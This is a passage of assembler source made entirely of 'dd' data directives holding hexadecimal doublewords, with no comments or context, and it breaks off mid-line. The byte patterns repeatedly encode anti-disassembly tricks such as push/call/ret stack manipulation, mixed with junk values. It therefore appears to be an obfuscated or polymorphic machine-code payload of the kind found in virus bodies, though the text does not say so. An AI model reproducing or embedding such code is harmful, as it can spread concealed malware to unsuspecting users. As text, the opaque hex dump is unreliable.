0B6C35747h, 34B2C1CEh, 0CCEC4FB8h, 1D85C7F8h dd 5EE1Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0C524C357h, 15599D8Dh, 5E905EAh dd 7C000000h, 9B372C1Ah, 81F28B66h, 0FFFEFF23h, 0F0BF0FFFh dd 0F5DB8C66h, 0F04C3F6h, 9684h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 8BF7161Fh dd 0E9FE2BC4h, 6, 8A321DCFh, 0DABE4FF7h, 0FF710581h, 0EA2AC595h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0EC1ABC78h, 0FFA90E9h, 6690F0BFh, 50F074BFh dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 914758A9h, 0EE9h, 82346C00h, 7FE295Ch, 7549A9DEh dd 0E960021Eh, 42Ch, 1CCF8166h, 6A00B02Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BC1AC352h dd 68F0F3Ch, 89000000h, 0EA1D5D8Dh, 100BBE05h, 70E6513Fh dd 3065B58Bh, 0DE8105EAh, 312E8440h, 6A71E4h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0D6FBCDC3h dd 0CF81B5F1h, 5C56BCFEh, 6AD8B60Fh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 6FECC351h dd 0D4AD6905h, 4820F43h, 66000000h, 0BA0746BEh, 6, 0FB8B66FCh dd 9589C38Bh, 5EA0075h, 6A04E8C1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E9CBC356h dd 13h, 657914C6h, 9215E8E8h, 0B6B9CFADh, 0A11D8C9Bh, 665EA833h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 1994DCC3h, 9B38527Fh, 0E95A81FEh, 8, 0D01BE089h dd 0D28372A7h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0EF15CFC3h, 0C6816685h, 0BF6666D3h dd 6093ECF0h, 0BE960h, 0EA300000h, 5C9807E8h, 5144239Fh dd 0E8B86675h, 1FB06125h, 11E95061h, 14000000h, 0D799CAEFh dd 68F8D660h, 92ADE732h, 0F20BD415h, 53006A93h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FF00B82Fh dd 0EA169DB5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 80CC5743h, 1732B8A1h dd 7E8h, 0DC3FF200h, 9638A766h, 8D0F5FF8h, 6, 2AB9BD8Bh dd 95FF05EAh, 5EA1015h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 72C35545h, 874610EEh, 0BC40A204h, 14E9h dd 80BA7600h, 4DCD444Fh, 0BD91B50Bh, 674C1612h, 3CFD0866h dd 6A00B0FEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 2E27C357h, 9642C765h, 0CD84BE66h dd 6A70E6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0AA2B6C3h dd 870D8088h, 8D897715h, 5EA2AE5h, 6A71E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B52352C3h dd 5EA10F5h, 830F613Ch, 194h, 8518529h, 0B60F05EAh, 0C2BF66D8h dd 0F78B6018h, 32ADB589h, 0BA6105EAh, 6, 0BF66C38Bh, 0E8C15C9Ch dd 0FBB70F04h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 32EDC357h, 0AFC3563Ah dd 7638872Ah, 810FD82Bh, 6, 3011B503h, 6A5805EAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 8198C350h, 1E870F2Ch, 0E8000000h, 13h, 757FF2A2h, 0DF0B9FF4h dd 70348A31h, 28EAF043h, 0BF27DE5Dh, 2AD900E8h, 0FD82B5Eh dd 0EB88h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 7B9891Fh, 83000000h, 0D93B00C1h dd 0BE860Fh, 66F50000h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0F68E70C3h, 840F04C1h dd 7Ch, 7E9h, 0E2F90800h, 0D1D2E04Ah, 2AC595FFh, 14E905EAh dd 48000000h, 0B8D3CFC7h, 0FE3A0AE4h, 55D1912h, 13C51Fh dd 5B2BA79Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0DC35646h, 0B560E72Fh, 5F505158h, 0C32B615Fh, 2890Fh dd 0F78B0000h, 8343Dh, 15860F00h, 89000000h, 0EA104DBDh dd 22E905h, 0BF660000h, 9D892CD2h, 5EA0AB1h, 11E9C08Bh dd 0B4000000h, 45D1725Dh, 0A2AAC363h, 551A7776h, 93FD6935h dd 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 4FC35747h, 0BCF0854Dh, 0FEB9C752h, 8D895217h, 5EA30B9h dd 4585C75Fh, 0D905EA0Bh, 8916642Fh, 0EA2C89B5h, 66C08B05h dd 3E36DE81h, 169DBD81h, 7D005EAh, 850F0000h, 0Ah, 169D85FFh dd 0BE6605EAh, 0B5FF66E3h, 5EA169Dh, 3139BD8Bh, 8D8905EAh dd 5EA2F0Dh, 101595FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 6A9074C3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0F98BC351h, 0F9CDF413h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E5C35343h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2FBD3C6Ah dd 23C19529h, 0BD8B05EAh, 5EA31C1h, 0B3DF8166h, 0F08B6614h dd 13E9h, 2EE69700h, 114D2336h, 6424CC3Bh, 84D87714h, 3E5E600Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 91C35343h dd 0F861833h, 685h, 9B58B00h, 0F05EA11h, 9589F3BFh, 5EA0745h dd 118DBD8Bh, 0FE8B05EAh, 53006AF9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0EE720825h dd 4874610h, 0AE9A2h, 8BFE0000h, 0F4230F5Dh, 0EECA325Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 87C35343h dd 98E4D674h, 0FF9BB93h, 0EDE9F1B7h, 6AFFFFF7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 162FC356h, 253DD487h, 0F8BF0FCBh, 6AC18Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9E97AC3h dd 0EA000000h, 4BA77F94h, 964B61ACh, 13D19D89h, 0B58905EAh dd 5EA2591h, 4EBh, 0B2600000h, 6A61A0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8CF701C3h dd 60CA1439h, 2ED59529h, 8D6105EAh, 0EA298D85h, 19BD2B05h dd 5005EA2Ch, 5E95250h, 0FE000000h, 13C71C48h, 4895E5Eh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0A614B544h, 0B2605376h, 880F006Ah, 3, 6AF08B66h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0C3A8DEA4h, 13E950h, 42DE0000h, 16779207h dd 59D852DFh, 0C874119Ch, 39DE5775h, 858D5FA6h, 5EE2725h dd 24DDBD8Bh, 0C08305EAh, 4895005h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 2EDD21C1h dd 0E7812263h, 208C15C3h, 9D89006Ah, 5EA1A49h, 6CBE006Ah dd 0FF3DCBA9h, 0EA23E995h, 119D0105h, 8D05EA2Eh, 0EDD89D9Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 7F470679h, 9E744FB0h, 0FFFEBF0Fh, 56006AD3h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0FFAB5CE4h, 0EA1C4985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 6D881DDDh dd 3656A724h, 0DEE9F99Bh, 0E8000008h, 0 dd 2FED815Dh, 6A05EE27h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 1FDAC351h, 18239340h dd 9112A6BFh, 9DBD8100h, 0D005EA16h, 0F000007h, 14186h dd 0E1953100h, 0F05EA29h, 9D8BFFB7h, 5EA2C81h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 80C35545h, 264237DDh dd 0F6BE7816h, 81045B13h, 100E3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 38D5AC1Fh dd 17B8ACD4h, 118D89C3h, 0B05EA00h, 70850FDBh, 57000000h dd 1A68BF66h, 0A1BD835Eh, 5EE25h, 48840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 5B4097C3h, 69E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0C0353A7h, 2AE9BD09h dd 85C705EAh, 5EE25A1h, 1, 34E9F8h, 0B7BF0000h, 0C70D777Dh dd 0EE25A185h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0E40734AFh, 0B6FFC6BBh dd 9D8D3891h, 5EA2C81h, 8FD8F781h, 238150B3h, 0FFFFFEFFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B2C35242h dd 66F06F71h, 8C6692F3h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 4C3F630h, 86840Fh, 0FF80000h dd 83h, 0C595FF00h, 6A05EA2Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 3393C357h, 0EA0995B5h dd 12E95005h, 9C000000h, 0E8597CB5h, 6588056Ch, 901FEAF1h dd 0B04BFB90h, 2404893Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 7C35040h, 0F27E353h, 686h, 0FDBD8900h dd 0E805EA32h, 5, 0E3F93BCCh, 15EF8185h, 5E5B3C55h, 493E9h dd 0F1B70F00h, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0E6E27DC3h, 0B58BCE43h, 5EA19BDh dd 71E470E6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 88C35646h, 9A632649h, 41B58B58h, 0F05EA03h, 6AD8B6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0AB825DC3h, 33CD7AD2h, 8B66ADF4h, 6BAF8h, 8D890000h dd 5EA1A21h, 0EE9h, 0B8783800h, 3645A253h, 39227C88h, 8BBF2252h dd 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0C1533EE3h, 6A04E8h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 1D35A1C3h dd 8AB8BF90h, 0F766176Dh, 0D78166E2h, 0D82B5718h, 0CE9h dd 0E5F64200h, 4856B100h, 0C84ADAE4h, 14E993FBh, 5E000000h dd 35E4A903h, 0D2E9AEE2h, 20781020h, 0C1E9746h, 50AADAC4h dd 13E860h, 53270000h, 53B5FD83h, 5CF494A9h, 0AF3B2ADBh dd 885A1B72h, 5A5A52F0h, 9361D68Bh, 6870Fh, 0B58B0000h dd 5EA1209h, 2BD8501h, 0B5FF05EAh, 5EA169Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EBC35646h, 6FC91037h dd 0F7B70F56h, 1595FF5Fh, 6A05EA10h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0F5EAC357h dd 0D9DB58Bh, 9E805EAh, 5000000h, 6E163460h, 730EFEFEh dd 1835BD8Bh, 0FC5F05EAh, 6A00B0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 275666C3h, 2970E6FBh dd 0EA1545B5h, 6A71E405h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 37BFC352h, 0E50DBEB4h dd 0BD8B07D5h, 5EA10B5h, 830F613Ch, 280h, 0B4DBD03h, 0B60F05EAh dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 76FEB642h, 0B5894C9Bh, 5EA1B99h, 6BAh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 713B040Eh, 42CD23B6h, 6AC38Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 4AADEFC3h, 0BF00DC01h dd 5A40EBFBh, 8904E8C1h, 0EA12F985h, 0E2F76605h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h, 16937DAh dd 0EA15B1B5h, 8BD82B05h, 6A58F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 15520AC3h, 0A9934614h dd 880FD82Bh, 1A0h, 0BE58529h, 7B905EAh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 687AC351h, 0D49063A4h, 14198D29h, 666005EAh, 840FD38Bh dd 0Bh, 6E9h, 33764600h, 61D23177h, 6A00C183h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 15A2C355h, 8EC7D1E4h, 8C0Fh, 0D93B0000h, 126860Fh, 0BD330000h dd 5EA0FB9h, 0FD98C66h, 168Dh, 0EE800h, 74A80000h, 0BC2C9971h dd 0C0FE784Eh, 0C0F9464Ah, 0F65E5E51h, 840F04C1h, 0CEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 86C35747h dd 0CB2ACB0Eh, 0D1D015B6h, 0FFF3BF0Fh, 0EA2AC595h, 29B58B05h dd 5B05EA17h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 4DC35747h, 0C32BD7B6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0B0C35747h, 0F35693Dh, 81h dd 8343D00h, 860F0000h, 4Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 76C35747h, 538FD6A1h, 0E9F98DABh dd 4Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 0DAC35242h, 1619BD29h, 0C08B05EAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 5C35545h, 73223E50h, 467390D8h dd 0F312BE66h, 0D88BC38Bh, 0C7FEB70Fh, 0EA155985h, 0FD9B1B05h dd 8D8B607Bh, 5EA0779h, 1E1D8589h, 8B6105EAh, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8A0F15F8h, 0Ah, 0CA8B6660h, 0EF18166h, 0BD81619Ah, 5EA169Dh dd 7D0h, 3A850Fh, 0BD090000h, 5EA07E9h, 169D85FFh, 6A05EAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 44324C3h, 0E91488DEh, 8, 3DD78C95h, 0DB9E6EF6h, 169DB5FFh dd 0BF6605EAh, 95FF1151h, 5EA1015h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0B1C35343h, 90FCE0BEh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D8C35242h, 0DE9F82Fh dd 5B000000h, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch, 8840Fh dd 0FA8B0000h, 30F9B58Bh, 0B9BF05EAh, 35195DBh, 0EA2CF1BDh dd 0E9858905h, 0F05EA15h, 0B58BF8B7h, 5EA0149h, 11E9h dd 9DE65400h, 1CADE154h, 174CA6FAh, 0D39DDF87h, 6ABF86h dd 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0EBECFCC3h, 6AF93Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 57171CC3h, 0CE9h, 0C151A00h, 0B3075985h dd 8A16F884h, 850F60F3h, 4, 616078B7h, 7880Fh, 0BB660000h dd 0E4804BA7h, 99D23A9h, 6105EA29h, 4810Fh, 0BE660000h dd 0B50B8213h, 5EA17D9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 1BC35040h, 97030C6Bh, 496705B5h, 0F759E98Bh dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0E469EAC3h, 4FE21CF5h, 0DE916h, 0E4E90000h dd 17DA4B75h, 0E900EDF5h, 8B4F7FACh, 8BC18BF8h, 0EA06CDB5h dd 4EB05h, 89000000h, 0EA315995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0F2F87003h dd 0BD8BFD2Dh, 5EA00F9h, 7E9h, 0C88D9000h, 0C39B4B14h dd 298D858Dh, 0B50305EAh, 5EA0C6Dh, 0D9BE6690h, 8B66506Ah dd 0BD8990F2h, 5EA3171h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0C7C5DBC3h, 8B09D8E2h dd 6A006AF0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 2386C351h, 0EA326DBDh, 7B858D05h dd 6A05EE31h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0EE46C357h, 0B58BBC9Ch, 5EA025Dh dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0F0C1C350h, 0F7E9BB8h, 5350F9BFh dd 2404895Fh, 6AF38Bh, 2521B58Bh, 6A05EAh, 23E995FFh, 6A05EAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0FDB280C3h, 0BF56432Eh, 6FF53CEEh, 0D89D9D8Dh, 6A05EDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 9DC7B6C3h, 0E781668Bh, 0D3FFCFC7h, 1469B58Bh, 85FF05EAh dd 5EA1C49h, 8E6E9h, 0E800h, 815D0000h, 0EE3185EDh, 81FE8B05h dd 0EA169DBDh, 7D005h, 61860F00h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0E31BC351h, 8E8A3EFh, 45000000h, 21B7AB8Dh, 519BC47Bh dd 0EBF8BE66h, 9D8B5E5Eh, 5EA20E1h, 0FF78B66h, 68Fh, 0DD9D0900h dd 8105EA0Bh, 100E3h, 0D6806000h, 0E181664Dh, 0B617B4Fh dd 80850FDBh, 66000000h, 0BD83FB8Bh, 5EE3012h, 15840F00h dd 66000000h, 33C6E8BFh, 0EA23F1BDh, 6BE905h, 9D890000h dd 5EA1159h, 301285C7h, 105EEh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F9448BC3h dd 2DBD89E6h, 0E905EA0Ah, 31h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 9DC35545h, 898CE7ABh, 81B58B2Bh dd 0C705EA12h, 0EE301285h, 5, 0E19D8D00h, 6A05EA20h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 299FC350h, 0EA3059B5h, 519D8905h, 8105EA2Ch, 0CDBFE7C6h dd 0FF238129h, 6AFFFFFEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0CDB2C356h, 0FE3207Bh dd 688h, 85858900h, 0E905EA1Bh, 0Ch, 231298BDh, 0B2ED3F49h dd 0BBECAC68h, 6ADB8C66h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0B030C350h, 0D7816696h dd 85013098h, 5EA1DB9h, 0F04C3F6h, 7984h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0F427C9D8h, 95FFFC41h, 5EA2AC5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 7C35040h, 50616090h, 58C0Fh dd 81BF0000h, 90108E31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0D2C35747h, 8BE5CC2Ah, 0CF8166F8h, 0BFE92D52h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0A75BC350h, 0E8AF2057h, 0Ah, 3679F764h dd 6608E914h, 0DE92E1Bh, 20000000h, 0F3AE8CB6h, 4DEA2FDAh dd 87116172h, 6A00B05Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 1B19C350h, 8B6E8FBBh dd 0F70E6F0h, 682h, 29958900h, 0E405EA1Ch, 85016071h, 5EA1C85h dd 0D8B60F61h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 39C35343h, 0FED82102h, 0C6818C20h, 13FA6E40h, 6BAh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 92EEE48Ch, 3FACF18h, 0EA2C61B5h, 0E8C38B05h dd 0Dh, 3CEA843h, 71A0D7D9h, 6C25C4EDh, 0B58B5E90h, 5EA16B5h dd 0E904E8C1h, 0Eh, 76F1193Eh, 0D5691D84h, 8C8F4953h, 0F7660AB1h dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0FBF9E3CDh, 0BE62B562h, 3E6FB017h, 6AD82Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0DE964C3h, 14000000h, 559BA5EBh, 0CB896C4Ch, 65BBD94Fh dd 12E95093h, 2E000000h, 194C50E3h, 0A5FDF307h, 8DF15EBDh dd 45172A9Fh, 6A9369h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 327B87C3h, 0F78FFE8h, 0B5FFF8B7h dd 5EA169Dh, 101595FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8BFE94C3h, 0EA2A35BDh dd 6A00B005h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 8BDDC352h, 0EA0149B5h, 6A70E605h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 3810C356h, 3092F649h, 0BE66FC96h, 71E42AE3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F4C35646h dd 59D238F3h, 892262F6h, 0EA1429BDh, 0F613C05h, 27183h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 8BAF356Bh, 0EA2549B5h, 0D8B60F05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 66C35747h, 0BFBA397Ah dd 2C00883Eh, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 5EC05297h, 69BD899Eh dd 8B05EA2Ch, 0AE9C3h, 0E7A20000h, 3D129A1Dh, 31A9D603h dd 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 68C7C357h, 0A0239B6Bh, 0F766A70Dh dd 55BD89E2h, 2B05EA31h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E00B3284h, 99D0953h dd 5E05EA18h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0C0776CB2h, 0F28BE04Dh, 0FD82BFCh dd 16588h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 9998BA1Eh, 4C1E57B5h dd 0FA8BE56Fh, 7B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 18B0F9Dh, 0F9000000h dd 6A00C183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 47A5C356h, 47DE7DD4h, 885B58Bh dd 0BE6605EAh, 0D93BDC09h, 0E0860Fh, 0E7810000h, 40DC6803h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0EFECC356h, 68A0F72h, 2B000000h dd 0EA2C19B5h, 71BD0905h, 0F605EA09h, 840F04C1h, 96h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 67C35343h, 23A9A814h dd 2AC595FFh, 9D8905EAh, 5EA1B35h, 0B1BD8B5Bh, 2B05EA02h dd 0AD8D89C3h, 3D05EA20h, 834h, 50860Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 71E0FFC3h, 0EF273A2Dh, 3181BD8Bh, 2BE905EAh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0B009C352h, 0C5AA3CE9h, 0C08BD5B0h, 25A58529h dd 0C38B05EAh, 38BFD88Bh, 0E83A80E6h, 0Bh, 70B07A77h, 80F9C0Fh dd 664DAF5Ch, 4581C781h, 8185C75Eh, 7705EA2Ch, 6A77841Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 1E43C351h, 60245840h, 9B5231Dh, 8B05EA32h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0DF87174Ch, 0BF86D39Dh, 0B589F85Eh, 5EA1A41h dd 169DBD81h, 7D005EAh, 850F0000h, 35h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 4CC35646h, 0BA17698Fh dd 8BF18B66h, 0EA06C9B5h, 9D85FF05h, 8B05EA16h, 0EA30B9BDh dd 9DB5FF05h, 8105EA16h, 54E34CEFh, 1595FF40h, 8905EA10h dd 0EA079985h, 6A9005h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 9DA6BC3h, 0EA0ED59Dh, 0C3BF6605h dd 50006ACDh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 95091832h, 5EA1A65h, 291D8529h, 850105EAh dd 5EA29A1h, 1BDDBD2Bh, 0BD8B05EAh, 5EA31B9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h, 3053C6D7h dd 564D4A01h, 8A0F60h, 0E9000000h, 9, 4EDD01ADh, 0A02A9E2Fh dd 60D98B4Ah, 895F6161h, 0EA1A89BDh, 7E805h, 7C2A0000h dd 0D4C11844h, 5FF88B07h, 0F0EE8166h, 57006A94h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0CD7D3D5Ch, 0FDFC786Ch, 0D5BD3188h, 0F505EA25h, 0BE9h dd 176B9400h, 5610DEDCh, 93010B99h, 2BF1B58Bh, 0FE8B05EAh dd 1E39BD8Bh, 0BD8B05EAh, 5EA0B11h, 0FFF724E9h, 0C68166FFh dd 70BF290Bh, 8B490B76h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 628B5578h, 5AC534E5h dd 13F99589h, 4EB05EAh, 0 dd 2B79BD31h, 295105EAh, 0EA28ED85h, 8DF85F05h, 0EA298D85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 45750647h, 3011B0Fh, 0FA8B63FAh, 25A5BD89h dd 669005EAh, 6650F88Bh, 906F2EBEh, 855B58Bh, 6A05EAh dd 1E099501h, 6A05EAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0DCC35141h, 5D1D503Ah, 503D2121h, 4858D06h dd 6A05EE3Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 2167C356h, 890F60h, 0F000000h dd 689h, 91958900h, 6105EA2Ah, 5C083F9h, 0FE890F5h, 10000000h dd 1BA56B12h, 382D0F67h, 15D3DFCh, 8B6694EDh, 8B505FF8h dd 0B70F90F1h, 6A006AF3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 6339C353h, 0A287C417h dd 0E44BFF71h, 2385BD8Bh, 6A05EAh, 3800F50h, 0F000000h dd 0FF5FF6B7h, 0EA23E995h, 9D9D8D05h, 6A05EDD8h, 3E85700h dd 20000000h, 